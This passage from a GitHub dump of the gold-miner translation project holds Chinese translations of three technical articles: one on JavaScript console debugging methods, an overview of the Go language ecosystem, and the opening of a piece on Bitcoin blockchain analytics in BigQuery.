很相似。\n\n```\nconsole.log('I like %s but I do not like %s.', 'Skittles', 'pus');\n```\n\n会准确的输出你所预期的东西。\n\n```\n> I like Skittles but I do not like pus.\n```\n\n一般的占位符有 `%o`（这是字符 o，不是 0）表示一个对象，`%s` 表示一个字符串，以及 `%d` 代表一个小数或者整数。\n\n![](https://cdn-images-1.medium.com/max/800/1*k36EIUqbxmWeYwZVqOrzNQ.png)\n\n你可能并不认为另一个有趣是 `%c`。实际上它是作为 CSS 值的占位符。\n\n```\nconsole.log('I am a %cbutton', 'color: white; background-color: orange; padding: 2px 5px; border-radius: 2px');\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*LetSPI-9ubOuADejUa_YSA.png)\n\n后面的值可以一直添加，在这里没有「结束标签」确实有点怪异。但是你可以像这样将它们隔开。\n\n![](https://cdn-images-1.medium.com/max/800/1*cHWO5DRw9c2z9Jv_Fx2AvQ.png)\n\n这并不优美，也不是特别的有用。当然这也不是真实的按钮。\n\n![](https://cdn-images-1.medium.com/max/800/1*0qgPtZGOZKBKPi1Va5wf2A.png)\n\n真的很有用吗？不太认同。\n\n### **console.dir()**\n\n通常来看，`console.dir()` 功能和 `log()` 非常相似，尽管看起来有略微不同。\n\n![](https://cdn-images-1.medium.com/max/800/1*AUEqpGMNKtp28OK057V3Ow.png)\n\n下拉小箭头展示的对象信息和 `console.log` 的视图里一样。但是在你观察元素节点的时候，两者结果会非常有趣并且截然不同。\n\n```\nlet element = document.getElementById('2x-container');\n```\n\n这是 log 输入 element 的输出：\n\n![](https://cdn-images-1.medium.com/max/800/1*l7ujPmSWwpH7QtXCZ-jk2Q.png)\n\n我打开了一些元素节点。清晰的展示了 DOM 节点，一览无余，而且我们还可以跳转到子DOM节点。但是 `console.dir(element)` 给我们一个意外不同的输出。\n\n![](https://cdn-images-1.medium.com/max/800/1*CERwy7Fs7tdijOxugLW54A.png)\n\n这是一种更**对象化**的方式去观察元素节点。也许在某些像监测元素节点的时候，这样的结果才是你所想要的。\n\n### console.warn()\n\n可能是 `log()` 最直接明显的替换，你可以用相同的方式使用 `console.warn()`。唯一的区别在于输出是一抹黄色。确切的说，输出是一个 warn 级别而不是一个 info 级别的信息，因此浏览器的处理稍稍有些不同。在一堆杂乱的输出中高亮你的输出是很有效果的。\n\n不过，这还有一个更大的优点。因为输出是一个 warn 级别而不是一个 info 级别，你可以将所有的 `console.log` 过滤掉只留下 `console.warn`。这有时在那些不停输出一堆无用和无意义的东西到浏览器的随意的应用程序中是非常有用。屏蔽干扰能更容易的看到你自己的输出。\n\n### console.table()\n\n令人惊讶的是这个并没有广为人知，但是 `console.table()` 方法更偏向于一种方式展示列表形式的数据，这比只扔下原始的对象数组要更加整洁。\n\n举一个例子，下面是数据的列表。\n\n```\nconst transactions = [{\n  id: \"7cb1-e041b126-f3b8\",\n  seller: \"WAL0412\",\n  buyer: \"WAL3023\",\n  price: 203450,\n  time: 1539688433\n},\n{\n  id: \"1d4c-31f8f14b-1571\",\n  seller: \"WAL0452\",\n  buyer: \"WAL3023\",\n  price: 348299,\n  time: 1539688433\n},\n{\n  id: \"b12c-b3adf58f-809f\",\n  seller: \"WAL0012\",\n  buyer: \"WAL2025\",\n  price: 59240,\n  time: 1539688433\n}];\n```\n\n如果使用 `console.log` 去列出以上信息，我们能得到一些中看不中用的输出：\n\n```\n▶ (3) [{…}, {…}, {…}]\n```\n\n这小箭头允许你点击并会展开这个数组，但这并不是我们想要的「一目了然」。\n\n而 `console.table(data)` 的输出则对我们更为有帮助。\n\n![](https://cdn-images-1.medium.com/max/800/1*wr2e5dAr_K5ilwMsYMetgw.png)\n\n第二个可选参数是你想要显示列表的某列。默认是整个列表，但是我们也能这样做。\n\n```\n> console.table(data, [\"id\", \"price\"]);\n```\n\n我们得到这样的输出，仅仅只展示 id 和 price。在有着大量不相关信息的庞杂对象中非常有用。index 列是自动生成的并且据我所知是不会消失。\n\n![](https://cdn-images-1.medium.com/max/800/1*_je_I8pwxVgFjvCnwybMDw.png)\n\n值得一提的是在最右一列头部的右上角有个箭头可以颠倒次序。点击了它，会排序整个列。非常方便的找出一列的最大或者最小值，或者只是得到不同的数据展示形式。这个功能特性并没有做什么，只是对列的展示。但总会是有用的。\n\n`console.table()` 只有处理最多1000行的数据的能力，所以它可能并不适用于所有的数据集合。\n\n### console.assert()\n\n一个经常被忽视的实用的函数，`assert()` 在第一个参数是 _falsey_ 时和 `log()` 一样。当第一个参数为真值时也什么都不做。\n\n这个在你需要循环（或者不同的函数调用）并且只有一个要显示特殊的行为的场景下特别有用。本质上和这个是一样的。\n\n```\nif (object.whatever === 'value') {\n  console.log(object);\n}\n```\n\n澄清一下，当我说「一样」的时候，我本应该说是做**相反**的事。所以你需要变换一下场合。\n\n所以，假设我们上面的值在时间戳里有一个 `null` 或者 `0`，这会破坏我们代码日期格式。\n\n```\nconsole.assert(tx.timestamp, tx);\n```\n\n当和任何**有效**的事物对象一起使用时会跳过。但是有一个触发了我们的日志记录，因为时间戳在 0 和 null 时为**假值**。\n\n有时我们想要更加复杂的场景。举个例子，我们看到了关于用户 `WAL0412` 的数据问题并且想要只展示来自它们的事务。这将会是一个非常简便的方案。\n\n```\nconsole.assert(tx.buyer === 'WAL0412', tx);\n```\n\n看起来正确，但是并不奏效。牢记，场景必须是为否定态,我门想要的是**断言**，而不是**过滤**。\n\n```\nconsole.assert(tx.buyer !== 'WAL0412', tx);\n```\n\n我们想做的就是这样。在那种情况下，所有**不是** WAL0412 号顾客的事务都为真值，只留下那些符合的事务。或者，也不完全是。\n\n诸如此类，`console.assert()` 并不是一直都很管用。但是在特定的场景下会是最优雅的解决方法。\n\n### console.count()\n\n另外一个合适的用法是，将console作为一个计数器使用。\n\n```\nfor(let i = 0; i < 10000; i++) {\n  if(i % 2) {\n    console.count('odds');\n  }\n  if(!(i % 5)) {\n    console.count('multiplesOfFive');\n  }\n  if(isPrime(i)) {\n    console.count('prime');\n  }\n}\n```\n\n这不是一段有用的代码，并且有点抽象。我也不打算去证明 `isPrime` 函数，只假设可以运行。\n\n我们将得到应该是这样的列表\n\n```\nodds: 1\nodds: 2\nprime: 1\nodds: 3\nmultiplesOfFive: 1\nprime: 2\nodds: 4\nprime: 3\nodds: 5\nmultiplesOfFive: 2\n...\n```\n\n以及剩下的。在你只想列出索引，或者想保留一次（或多次）计数的情况下非常有用。\n\n你也能像那样使用 `console.count()`，不需要参数。使用 `default` 调用。\n\n这还有关联函数 `console.countReset()`，如果你希望重置计数器可以使用它。\n\n### console.trace()\n\n这在简单的数据中演示更加困难。在你试图找出有问题的内部类或者库的调用这一块是它最擅长。\n\n举个例子，这儿可能有 12 个不同的组件正在调用一个服务，但是其中一个没有正确配置依赖。\n\n```\nexport default class CupcakeService {\n    \n  constructor(dataLib) {\n    this.dataLib = dataLib;\n    if(typeof dataLib !== 'object') {\n      console.log(dataLib);\n      console.trace();\n    }\n  }\n  ...\n}\n```\n\n这里单独使用 `console.log()` 我们只能知道执行了哪一个基础库，并不知道执行的具体位置。但是，堆栈轨迹会清楚的告诉我们问题在于 `Dashboard.js`，我们从中发现 `new CupcakeService(false)` 是造成出错的罪魁祸首。\n\n### console.time()\n\nconsole.time() 是专门用于监测操作的时间开销的函数，也是监测 JavaScript 细微时间的更好的方式。\n\n```\nfunction slowFunction(number) {\n  var functionTimerStart = new Date().getTime();\n  // something slow or complex with the numbers. \n  // Factorials, or whatever.\n  var functionTime = new Date().getTime() - functionTimerStart;\n  console.log(`Function time: ${ functionTime }`);\n}\nvar start = new Date().getTime();\n\nfor (i = 0; i < 100000; ++i) {\n  slowFunction(i);\n}\n\nvar time = new Date().getTime() - start;\nconsole.log(`Execution time: ${ time }`);\n```\n\n这是一个过时的方法。我指的同样还有上面的 console.log。大多数人没有意识到这里你本可以使用模版字符串和插值法。它时不时的会帮助到你。\n\n那么让我们更新一下上面的代码。\n\n```\nconst slowFunction = number =>  {\n  console.time('slowFunction');\n  // something slow or complex with the numbers. \n  // Factorials, or whatever.\n  console.timeEnd('slowFunction');\n}\nconsole.time();\n\nfor (i = 0; i < 100000; ++i) {\n  slowFunction(i);\n}\nconsole.timeEnd();\n```\n\n我现在不需要去做任何算术或者设置临时变量。\n\n### console.group()\n\n如今我们可能在大多数 console 中要输出高级和复杂的东西。分组可以让你归纳这些。尤其是让你能使用嵌套。它擅长展示代码中存在的结构关系。\n\n```\n// this is the global scope\nlet number = 1;\nconsole.group('OutsideLoop');\nconsole.log(number);\nconsole.group('Loop');\nfor (let i = 0; i < 5; i++) {\n  number = i + number;\n  console.log(number);\n}\nconsole.groupEnd();\nconsole.log(number);\nconsole.groupEnd();\nconsole.log('All done now');\n```\n\n这又有一点难以理解。你可以看看这里的输出。\n\n![](https://cdn-images-1.medium.com/max/800/1*4Dil0L35FnGxiVPJx4mJsQ.png)\n\n这并不是很有用，但是你能看到其中一些是如何组合的。\n\n```\nclass MyClass {\n  constructor(dataAccess) {\n    console.group('Constructor');\n    console.log('Constructor executed');\n    console.assert(typeof dataAccess === 'object', \n      'Potentially incorrect dataAccess object');\n    this.initializeEvents();\n    console.groupEnd();\n  }\n  initializeEvents() {\n    console.group('events');\n    console.log('Initialising events');\n    console.groupEnd();\n  }\n}\nlet myClass = new MyClass(false);\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*MW0eKpxlBK-Cf9atJv3Baw.png)\n\n很多工作和代码在调试信息上可能并不是那么有用。但是仍然是一个有意思的办法，同时你可以看到它使你打印的上下文是多么的清晰。\n\n关于这个，还有最后一点需要说明，那就是 `console.groupCollapsed`。功能上和 `console.group` 一样，但是分组块一开始是折叠的。它没有得到很好的支持，但是如果你有一个无意义的庞大的分组并想默认隐藏它，可以试试这个。\n\n### 结语\n\n这里真的没有过多的总结。在你可能只想得到比 `console.log(pet)` 的信息更多一点，并且不太需要调试器的时候，上面这些工具都可能帮到你。\n\n也许最有用的是 `console.table`，但是其他方法也都有其适用的场景。在我们想要调试一些东西时，我热衷于使用 `console.assert`，但那也只在某种特殊情况下。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/birdseye-go.md",
    "content": "> * 原文地址：[A bird's eye view of Go](https://blog.merovius.de/2019/06/12/birdseye-go.html)\n> * 原文作者：[Axel Wagner](https://blog.merovius.de)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/birdseye-go.md](https://github.com/xitu/gold-miner/blob/master/TODO1/birdseye-go.md)\n> * 译者：[JackEggie](https://github.com/JackEggie)\n> * 校对者：[40m41h42t](https://github.com/40m41h42t), [JalanJiang](https://github.com/JalanJiang)\n\n# Go 语言概览\n\n**本文摘要：本文非常笼统地总结了 Go 语言的定义、生态系统和实现方式，也尽力给出了与不同的需求所对应的参考文档，详情参见本文末尾。**\n\n每当我们说起“Go 语言”的时候，可能会因为场景的不同聊到很多完全不同的东西。因此，我尝试着对 Go 语言和其生态系统做一个概述，并在各部分内容中都列出相关的文档（这可能有点像是大杂烩，其中还包含了我最近实际遇到的许多问题）。让我们开始吧：\n\n#### Go 编程语言\n\nGo 语言是一种编程语言。作为一种权威，[Go 语言规范](https://golang.org/ref/spec)中定义了代码的格式规范和代码所代表的含义。不符合该规范的都不是 Go 语言。同样地，该规范中**没有**提到的内容不视为该语言的一部分。目前由 Go 语言开发团队维护该规范，每半年发布一个新版本。在我写这篇文章的时候最新的版本是 `1.12`。\n\nGo 语言规范规定了：\n\n* 语法\n* 变量的类型、值，及其语义\n* 预先声明的标识符及其含义\n* Go 程序的运行方式\n* 特殊的 [unsafe 包](https://golang.org/ref/spec#Package_unsafe)（虽然没有包含所有的语义）\n\n该规范**应该**已经足够让你实现一个 Go 语言的编译器了。实际上，已经有很多人基于此实现了许多不同的编译器。\n\n#### Go 编译器及其运行时\n\n该语言规范只是一份文本文档，它本身不太有用。你需要的是实现了这些语义的软件，即编译器（分析、检查源代码，并将其转换为可执行的形式）和运行时（提供运行代码时所需的环境）。有很多这样的软件组合，他们都或多或少有些不同。示例如下：\n\n* `gc`，Go 语言开发团队自己开发的纯 Go 语言实现的（有一小部分汇编实现）编译器和运行时。它随着 Go 语言一起发布。与其他此类工具不同的是，`gc` 并不**严格**区分编译器、组装器和链接器 —— 它们在实现的时候共享了大量的代码，并且会共享或传递一些重要职责。因此，通常无法链接由不同版本的 `gc` 所编译的包。\n* [gccgo 和 libgo](https://golang.org/doc/install/gccgo)，gcc 的前端和其运行时。它是用 C 实现的，并且也由 Go 开发团队维护。然而，由于它是 gcc 组织的一部分，并根据 gcc 的发布周期发布，因此通常会稍微落后于 Go 语言规范的“最新”版本。\n* [llgo](https://llvm.org/svn/llvm-project/llgo/trunk/README.TXT)，LLVM 的前端。我对其不太了解。\n* [gopherjs](https://github.com/gopherjs/gopherjs)，将 Go 代码编译为 JavaScript，并使用一个 JavaScript VM 和一些自定义代码作为运行时。长远来看，由于 `gc` 获得了 WebAssembly 的原生支持，它有可能会被淘汰。\n* [tinygo](https://tinygo.org/)，针对小规模编程的不完整实现。它可以通过自定义一个运行时运行在微控制器（裸机）或者 WebAssembly 虚拟机上。由于它的局限性，**技术上来说**它并没有实现 Go 语言的所有特性 —— 主要体现在它缺少垃圾回收器、并发和反射。\n\n还有更多其他的实现，但这已经足以让你了解不同的实现方式。以上每一种方法都使用了不同的方式来实现 Go 语言，并具有自己与众不同的特性。他们可能存在的不同之处有（为了说明这一点，下面的某些说法可能会有点奇特）：\n\n* `int`/`uint` 的大小 —— 长度可能为 32 位或 64 位。\n* 运行时中基础功能的实现方式，如内存分配、垃圾回收和并发的实现。\n* 遍历 `map` 的顺序并没有在 Go 语言中定义 —— `gc` 显然会将这类操作随机化，而 `gopherjs` 会用你使用的 JavaScript 实现遍历。\n* `append` 操作分配的所需额外内存空间大小 —— 但是，**在分配额外空间时**，**不会**再次分配更多的内存空间。\n* `unsafe.Pointer` 与 `uintptr` 之间的转换方式。特别指出，`gc` 对于该转换何时应该生效有自己的[规则](https://godoc.org/unsafe#Pointer)。通常情况下，`unsafe` 包是虚拟的，它会在编译器中被实现。\n\n一般来说，根据规范中没有提到的某些细节（尤其是上面提到的那些细节）可以使你的程序用不同的编译器也能**编译**，但往往程序不会像你预期的那样**正常工作**。因此，你应该尽力避免此类事情发生。\n\n如果你的 Go 语言是通过“正常”渠道安装的话（在官网上下载安装，或是通过软件包管理器安装），那么你会得到 Go 开发团队提供的 `gc` 和正式的运行时。在本文中，当我们在讨论“Go 是如何做的”时，若没有在上下文特别指明，我们通常就是在谈论 `gc`。因为它是最重要的一个实现。\n\n#### 标准库\n\n[标准库](https://golang.org/pkg/#stdlib)是 Go 语言中附带的一组依赖包，它可以被用来立即构建许多实用的应用程序。它也由 Go 开发团队维护，并且会随着 Go 语言和编译器一起发布。一般来说，标准库的某种实现只能依赖与其共同发布的编译器才能正常使用。因为大部分（但不是所有）运行时都是标准库的一部分（主要包含在 `runtime`、`reflect`、`syscall` 包中）。由于编译器在编译时需要兼容当前使用的运行时，因此它们的版本要相同。标准库的 **API** 是稳定的，不会以不兼容的方式改变，所以基于某个指定版本的标准库编写的 Go 程序在编译器的未来版本中也可以正常运行。\n\n有些标准库会完全自己实现整个库中的所有内容，而有些则只实现一部分 —— 开发者尤其会在 `runtime`、`reflect`、`unsafe` 和 `syscall` 包中实现自定义的功能。举个例子，我相信 [AppEngine 标准库](https://cloud.google.com/appengine/docs/standard/go/)是出于安全考虑重新实现了标准库的部分功能的。这类重新实现的部分通常会尽量对用户保持透明。\n\n还存在一种[标准库以外的独立库](https://golang.org/pkg/#subrepo)，通俗地说这就是 `x` 或者说是“扩展库”。这种库包含了 Go 开发团队同时开发和维护的部分代码，但是**不会**与 Go 语言有相同的发布周期，并且相比于 [Go 语言本身](https://golang.org/doc/go1compat)，兼容性也会较差（功能性和维护性也会较差）。其中的代码要么是实验性的（在未来可能会包含在标准库中），要么是比起标准库中的功能还不够泛用，或者是在某些罕见的情况下，提供一种开发者们可以与 Go 开发团队同步进行代码审查的方式。\n\n再一次强调，如果没有额外地指出，在提到“标准库”时，我们指的是官方维护和发布的、托管在 [golang.org](https://golang.org/pkg) 上的 Go 标准库。\n\n#### 代码构建工具\n\n我们需要代码构建工具来使 Go 语言易于使用。构建工具的主要职责是找到需要编译的包和所有的依赖项，并依据必要的参数调用编译器和链接器。Go 语言有[对包的支持](https://golang.org/ref/spec#Packages)，允许在编译时把多个源代码文件视为一个单元。这也定义了导入和使用其他包的方式。但重要的是，这并没有定义导入包的路径与源文件的映射方式，也没有定义导入包在磁盘中的位置。因此，每种构建工具对于该问题都有不同的处理方式。你可以使用通用构建工具（如 Make 命令），但也有许多专门为 Go 语言而生的构建工具：\n\n* [Go 语言工具](https://golang.org/cmd/go/)<sup><a href=\"#note1\">[1]</a></sup>是 Go 开发团队官方维护的构建工具。它与 Go 语言（`gc` 和标准库）有相同的发布周期。它需要一个名为 `GOROOT` 的目录（该值从环境变量中获取，会在安装时产生一个默认值）来存放编译器、标准库和其他各种工具。它要求所有的源代码都要存放在一个名为 `GOPATH` 的目录下（该值也从环境变量中获取，默认为 `$HOME/go` 或是一个与其相等的值）。举例来说，包 `a/b` 的源代码应该位于诸如 `$GOPATH/src/a/b/c.go` 的路径下。并且 `$GOPATH/src/a/b` 路径下应该**只**包含一个包下的源文件。在分布式的模式下，有一种机制可以[从任意服务器上递归地下载某个包及其依赖项](https://golang.org/cmd/go/#hdr-Remote_import_paths)，即使这种机制不支持版本控制或是下载校验。Go 语言工具中也包含了许多其他工具包，包括用于测试 Go 代码的工具、阅读文档的工具（[golang.org](https://golang.org) 是用 Go 语言工具部署的）、提交 bug 的工具和其他各种小工具。\n* [gopherjs](https://github.com/gopherjs/gopherjs) 自带的构建工具，它在很大程度上模仿了 Go 语言工具。\n* [gomobile](https://github.com/golang/go/wiki/Mobile) 是一个专门为移动操作系统构建 Go 代码的工具。\n* [dep](https://github.com/golang/dep)、[gb](https://getgb.io/)、[glide](https://glide.sh/) 等等是社区开发的构建和依赖项管理工具，它们各自都有自己独特的文件布局方式（有些可以与 Go 语言工具兼容，有些则不兼容）和依赖项声明方式。\n* [bazel](https://bazel.build/) 是谷歌内部构建工具的开源版本。虽然它的使用实际上并不限于 Go 语言，但我之所以把它列为单独的一项，是因为人们常说 Go 语言工具旨在为谷歌服务，而与社区的需求相冲突。然而，Go 语言工具（和其他许多开放的工具）是无法被谷歌所使用的，原因是 bazel 使用了不兼容的文件布局方式。\n\n代码构建工具是大多数用户在编写代码时直接使用的重要工具，因此它很大程度上决定了 **Go 语言生态系统**的方方面面，也决定了包的组合方式，这也将影响 Go 程序员之间的沟通和交流方式。如上所述，Go 语言工具是被隐式引用的（除非指定了其他的运行环境），因此它的设计会让公众对 “Go 语言”的看法造成很大的影响。虽然有许多替代工具可供使用，这些工具也已经在如公司内部使用等场景被广泛使用，但是开源社区**通常**希望 Go 语言工具与 Go 语言的使用方式相契合，这意味着：\n\n* 可以获取源代码。Go 语言工具对包的二进制分发只做了极其有限的支持，并且仅有的支持将会在将来的版本中移除。\n* 要依据 [Go 官方文档编排格式](https://blog.golang.org/godoc-documenting-go-code)来撰写文档。\n* 要[包含测试用例](https://golang.org/pkg/testing/#pkg-overview)，并且能通过 `go test` 运行测试。\n* 可以完全通过 `go build` 来编译（与后面所述的特征共同被称为“可以通过 Go 得到的” —— “go-gettable”）。特别指出，如果需要生成源代码或是元编程，则使用 [go generate](https://golang.org/pkg/cmd/go/internal/generate/) 并提交生成的构件。\n* 通过命名空间导入的路径其第一部分是一个域名，该域名可以是一个代码托管服务器或者是该服务器上运行的一个 Web 服务，则 Go 代码可以找到源代码和其依赖，并且可以[正常工作](https://golang.org/cmd/go/#hdr-Remote_import_paths)。\n* 每个目录都只有一个包，并且可以使用[代码构建约束条件](https://golang.org/pkg/go/build/#hdr-Build_Constraints)进行条件编译。\n\n[Go 语言工具的文档](https://golang.org/cmd/go)非常全面，它是一个学习 Go 如何实现各种生态系统的良好起点。\n\n#### 其他工具\n\nGo 语言的标准库包含了[一些可以与 Go 源代码交互的包](https://golang.org/pkg/go/)和[包含了更多功能的 x/tools 扩展库](https://godoc.org/golang.org/x/tools/go)。Go 语言也因此在社区中有非常强的第三方工具开发文化（由于官方强烈地想要保持 Go 语言本身的精简）。这些工具通常需要知道源代码的位置，可能还需要获取类型信息。[go/build](https://golang.org/pkg/go/build/) 包遵循了 Go 语言工具的约定，因此它本身就可以作为其部分构建过程的文档。缺点则是，构建在它之上的工具有时与基于其他构建工具的代码不兼容。因此有[一个新的包正在开发中](https://godoc.org/golang.org/x/tools/go/packages)，它可以与其他构建工具很好地集成。\n\n实际上 Go 语言的工具有非常多，并且每个人都有自己的偏好。但大致如下：\n\n* [Go 语言开发团队所研发的工具，与 Go 语言有相同的发布周期](https://golang.org/cmd/)。\n* 它包含[代码自动格式化工具](https://golang.org/cmd/gofmt/)、[测试覆盖率工具](https://golang.org/cmd/cover/)、[运行时追踪工具](https://golang.org/cmd/trace/)、[信息收集工具](https://golang.org/cmd/pprof/)、[针对常见错误的静态分析器](https://golang.org/cmd/vet/)、[一款已经废弃的 Go 代码升级工具](https://golang.org/cmd/fix/)。这些工具都可以通过 `go tool <cmd>` 命令来访问。\n* [由 Go 开发团队所维护，但不随 Go 语言一起发布的工具](https://godoc.org/golang.org/x/tools/cmd)。[博客文章编写工具和演示工具](https://godoc.org/golang.org/x/tools/cmd/present)、[大型代码重构工具](https://godoc.org/golang.org/x/tools/cmd/eg)、[导入路径自动修正工具](https://godoc.org/golang.org/x/tools/cmd/goimports)和[语言服务器](https://godoc.org/golang.org/x/tools/cmd/gopls)。\n* 第三方工具 —— 实在太多了。有很多关于第三方工具的列表，例如[这个](https://github.com/avelino/awesome-go#tools)。\n\n#### 总结\n\n我想用一个简短的参考文献列表来结束这篇文章，列表的内容是为那些感到迷茫的初学者准备的。请点击下面的链接：\n\n* [开始学习 Go 语言](https://tour.golang.org/welcome/1)。\n* [理解 Go 语言的工作方式](https://golang.org/doc/effective_go.html)。\n* [什么是合法的 Go 代码及其原因](https://golang.org/ref/spec)。\n* [Go 语言工具及其文档](https://golang.org/cmd/go/)，也可以通过 `go help` 查看。有时会涉及到其他内容，你也可以查看[这些不够精细的内容](https://golang.org/pkg/cmd/go/internal/help/)。\n* [编写符合社区标准的代码](https://github.com/golang/go/wiki/CodeReviewComments)。\n* [对代码进行测试](https://golang.org/pkg/testing/#pkg-overview)。\n* [寻找新的依赖包或查看公用包的文档](https://godoc.org/)。\n\n除此以外还有许多有价值的文档可以作为补充，但这些应该已经足够让你有一个良好的开端了。作为一个 Go 语言的初学者，如果你发现本文有任何遗漏之处（我可能会补充更多的细节）或者你找到了任何有价值的参考资料，请[通过 Twitter 联系我](https://twitter.com/TheMerovius)。如果你已经是一个经验丰富的 Go 语言开发者，并且你发现我遗漏了某些重要的内容（但是我有意忽略了一些重要的参考资料，使得初学者们可以感受到 Go 语言学习中的新鲜感:smile:），也请给我留言。\n\n---\n\n[1]<a name=\"note1\"></a> 注：Go 开发团队目前正在对**模块**做一些支持，模块是包之上的代码分发单元，这些支持包括版本控制和一些可以使“传统” Go 语言工具解决问题的基础工作。等这些支持完成以后，这一段中的所有内容基本上就都过时了。对模块的支持**目前**是有的，但还不是 Go 语言的一部分。由于本文的核心内容是对 Go 语言的不同组成部分进行简要介绍，这些内容是不太容易发生变化的，**目前来看**我认为理解这些历史问题也是很有必要的。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/bitcoin-in-bigquery-blockchain-analytics-on-public-data.md",
    "content": "> * 原文地址：[Bitcoin in BigQuery: blockchain analytics on public data](https://cloud.google.com/blog/big-data/2018/02/bitcoin-in-bigquery-blockchain-analytics-on-public-data)\n> * 原文作者：[Allen Day](https://cloud.google.com/blog/big-data/2018/02/bitcoin-in-bigquery-blockchain-analytics-on-public-data)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/bitcoin-in-bigquery-blockchain-analytics-on-public-data.md](https://github.com/xitu/gold-miner/blob/master/TODO1/bitcoin-in-bigquery-blockchain-analytics-on-public-data.md)\n> * 译者：[LeopPro](https://github.com/LeopPro)\n> * 校对者：[ALVINYEH](https://github.com/ALVINYEH) [SergeyChang](https://github.com/SergeyChang)\n\n# BigQuery 中的比特币：使用公共数据分析区块链\n\n云主导开发者 Allen Day、云服务开发者 Colin Bookman。\n\n加密货币已经吸引了技术专家、金融家和经济学家的想象力。或许更有趣的是长期多样化的区块链应用。通过提高加密货币系统的透明度，其所包含的数据变得越来越易于访问和使用。\n\n现在比特币区块链数据可以通过 BigQuery 探索。所有的历史数据都在 [bigquery-公共数据：比特币区块链](https://bigquery.cloud.google.com/dataset/bigquery-public-data:bitcoin_blockchain)数据集中，该数据集每 10 分钟更新一次。\n\n我们希望通过使数据更加透明化，使数据用户可以对加密货币系统运作有一个更深刻的理解，以及如何更好的利用他们造福社会。\n\n### 有趣的查询和分析\n\n下面，我们将根据比特币数据集展示一些有趣的查询和可视化数据。我们将着眼分析以下两个热门话题：\n\n*   网络基础（块困难度）\n*   交易可视化（第一次易物交易）\n\n### 区块链网络统计信息汇总\n\n比特币网络参数为基本的网络分析提供了基础。例如，比特币日发送总数以及比特币日接收总数表明网络中的经济活动，并且这和比特币的均价有关，根据[梅特卡夫定律](https://zh.wikipedia.org/wiki/%E6%A2%85%E7%89%B9%E5%8D%A1%E5%A4%AB%E5%AE%9A%E5%BE%8B)推测，一个网络的价值与其用户数的平方成正比。\n\n下图显示了比特币网络日交易量趋势：\n\n![](https://i.loli.net/2018/05/08/5af11cc39681c.png)\n\n下图显示了比特币地址日接收量趋势：\n\n![](https://i.loli.net/2018/05/08/5af11cc391749.png)\n\n以下根据根据区块链网络的第一原则，网络价值与交易比或 [NVT 比](http://charts.woobull.com/bitcoin-nvt-ratio/)制定的评估指标。该图表显示了随时间的每日 NVT 比率：\n\n![](https://i.loli.net/2018/05/08/5af11cc393d81.png)\n\n例如比特币挖矿算法困难度等其他的比特币参数，也可能具有基本的经济重要性。下图显示了比特币挖矿困难度与“比特币”搜索量的关系。\n\n![](https://i.loli.net/2018/05/08/5af11cc38c4cc.png)\n\n> 译者注：以上 4 个实时数据图可以在 [Google 数据洞察](https://datastudio.google.com/reporting/1G8yte8g3daDEw5EKOvbxPQudv92PZcPP)中查看。\n\n### 交易可视化\n\n使用电子货币进行交易的一个后果是交易记录公开且完备。据信，第一次用比特币购买物品是在 2010 年 5 月 17 日。[Laszlo Hanyecz](https://en.bitcoin.it/wiki/Laszlo_Hanyecz) 花了 10,000 BTC 买了两个批萨，从地址 [1XPT…rvH4](https://blockchain.info/address/1XPTgDRhN8RFnzniWCddobD9iKZatrvH4) 到地址 [17Sk…xFyQ](https://blockchain.info/address/17SkEw2md5avVNyYgj6RiXuQKNwkXaxFyQ) 的交易记录在交易 ID 为 [a107…d48d](https://blockchain.info/tx/a1075db55d416d3ca199f55b6084e2115b9345e16c5cf302fc80e9d5fbf5d48d) 的区块链中。我们对 Hanyecz 地址购买批萨之前的 4 层比特币转移数据进行了可视化分析。我们用这段[代码](https://www.kaggle.com/mrisdal/visualizing-the-10k-btc-pizza-transaction-network?utm_medium=partner&utm_source=cloud&utm_campaign=big+data+blog+bitcoin)生成了下图。Hanyecz 的付款地址为红色圆圈，而其他地址为蓝色圆圈。箭头表示披萨购买交易之前比特币流动的方向。笔画宽度大致与地址间比特币移动量成正比。\n\n![](https://cloud.google.com/blog/big-data/2018/02/images/6736684411518976/bitcoin-bq-1.png)\n\n### 